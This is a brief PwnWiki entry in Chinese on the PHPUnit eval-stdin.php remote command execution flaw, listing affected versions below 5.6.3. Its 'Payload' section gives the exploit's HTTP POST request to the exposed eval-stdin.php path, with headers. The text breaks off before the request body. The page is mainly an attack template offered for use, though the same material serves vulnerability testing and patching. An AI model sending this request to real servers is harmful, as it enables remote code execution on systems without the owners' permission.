PHPUnit eval-stdin.php 遠程命令執行漏洞

From PwnWiki

漏洞影響

PHPUnit < 5.6.3

Payload

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: 
Content-Length: 21
Accept-Encoding: gzip